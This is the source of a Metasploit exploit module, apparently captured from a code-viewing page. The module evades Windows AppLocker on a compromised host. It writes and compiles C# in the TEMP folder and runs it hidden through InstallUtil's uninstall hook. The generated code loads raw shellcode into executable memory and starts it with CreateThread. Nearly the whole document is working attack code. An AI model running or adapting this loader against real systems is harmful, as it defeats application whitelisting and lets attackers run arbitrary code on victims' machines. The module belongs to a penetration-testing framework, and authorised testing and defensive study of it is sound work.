Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Real-time collaboration for Jupyter Notebooks, Linux Terminals, LaTeX, VS Code, R IDE, and more,
all in one place.
Path: blob/master/modules/exploits/windows/local/applocker_bypass.rb
Views: 11655
##1# This module requires Metasploit: https://metasploit.com/download2# Current source: https://github.com/rapid7/metasploit-framework3##45class MetasploitModule < Msf::Exploit::Local6Rank = ExcellentRanking78include Msf::Exploit::FileDropper9include Msf::Post::File1011def initialize(info = {})12super(13update_info(14info,15'Name' => 'AppLocker Execution Prevention Bypass',16'Description' => %q{17This module will generate a .NET service executable on the target and utilize18InstallUtil to run the payload bypassing the AppLocker protection.1920Currently only the InstallUtil method is provided, but future methods can be21added easily.22},23'License' => MSF_LICENSE,24'Author' => [25'Casey Smith', # Original AppLocker bypass research26'OJ Reeves' # MSF module27],28'Platform' => [ 'win' ],29'Arch' => [ ARCH_X86, ARCH_X64 ],30'SessionTypes' => [ 'meterpreter' ],31'Targets' => [ [ 'Windows', {} ] ],32'DefaultTarget' => 0,33'DisclosureDate' => '2015-08-03',34'References' => [35['URL', 'https://gist.github.com/subTee/fac6af078937dda81e57']36],37'Compat' => {38'Meterpreter' => {39'Commands' => %w[40stdapi_sys_process_execute41]42}43}44)45)46end4748# Run Method for when run command is issued49def exploit50if payload.arch.first == ARCH_X64 && sysinfo['Architecture'] !~ /64/51fail_with(Failure::NoTarget, 'The target platform is x86. 64-bit payloads are not supported.')52end5354# sysinfo is only on meterpreter sessions55print_status("Running module against #{sysinfo['Computer']}") if not sysinfo.nil?5657execute_installutil58end5960def execute_installutil61envs = get_envs('TEMP', 'windir')6263dotnet_path = get_dotnet_path(envs['windir'])64print_status("Using .NET path #{dotnet_path}")6566cs_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.cs"67exe_path = "#{envs['TEMP']}\\#{Rex::Text.rand_text_alpha(8)}.exe"6869installutil_path = "#{dotnet_path}\\InstallUtil.exe"7071print_status("Writing payload to #{cs_path}")72write_file(cs_path, generate_csharp_source)73register_files_for_cleanup(cs_path)7475print_status("Compiling payload to #{exe_path}")76csc_path = "#{dotnet_path}\\csc.exe"77csc_platform = payload.arch.first == ARCH_X86 ? ARCH_X86 : ARCH_X6478vprint_status("Executing: #{csc_path} /target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")79cmd_exec(csc_path, "/target:winexe /nologo /platform:#{csc_platform} /w:0 /out:#{exe_path} #{cs_path}")8081print_status("Executing payload ...")82vprint_status("Executing: #{installutil_path} /logfile= /LogToConsole=false /U #{exe_path}")83client.sys.process.execute(installutil_path, "/logfile= /LogToConsole=false /U #{exe_path}", { 'Hidden' => true })84register_files_for_cleanup(exe_path)85end8687def get_dotnet_path(windir)88base_path = "#{windir}\\Microsoft.NET\\Framework#{payload.arch.first == ARCH_X86 ? '' : '64'}"89paths = dir(base_path).select { |p| p[0] == 'v' }90dotnet_path = nil9192paths.reverse.each do |p|93path = "#{base_path}\\#{p}"94if directory?(path) && file?("#{path}\\InstallUtil.exe")95dotnet_path = path96break97end98end99100unless dotnet_path101fail_with(Failure::NotVulnerable, '.NET is not present on the target.')102end103104dotnet_path105end106107def generate_csharp_source108sc = payload.encoded.each_byte.map { |b| "0x#{b.to_s(16)}" }.join(',')109cs = %Q^110using System;111112namespace Pop113{114public class Program { public static void Main() { } }115116[System.ComponentModel.RunInstaller(true)]117public class Pop : System.Configuration.Install.Installer118{119private static Int32 MEM_COMMIT=0x1000;120private static IntPtr PAGE_EXECUTE_READWRITE=(IntPtr)0x40;121private static UInt32 INFINITE = 0xFFFFFFFF;122123[System.Runtime.InteropServices.DllImport("kernel32")]124private static extern IntPtr VirtualAlloc(IntPtr a, UIntPtr s, Int32 t, IntPtr p);125126[System.Runtime.InteropServices.DllImport("kernel32")]127private static extern IntPtr CreateThread(IntPtr att, UIntPtr st, IntPtr sa, IntPtr p, Int32 c, ref IntPtr id);128129[System.Runtime.InteropServices.DllImport("kernel32")]130private static extern UInt32 WaitForSingleObject(IntPtr h, UInt32 ms);131132public override void Uninstall(System.Collections.IDictionary s)133{134byte[] sc = new byte[] {#{sc}};135IntPtr m = VirtualAlloc(IntPtr.Zero, (UIntPtr)sc.Length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);136System.Runtime.InteropServices.Marshal.Copy(sc, 0, m, sc.Length);137IntPtr id = IntPtr.Zero;138WaitForSingleObject(CreateThread(id, UIntPtr.Zero, m, id, 0, ref id), INFINITE);139}140}141}142^143144cs145end146end147148149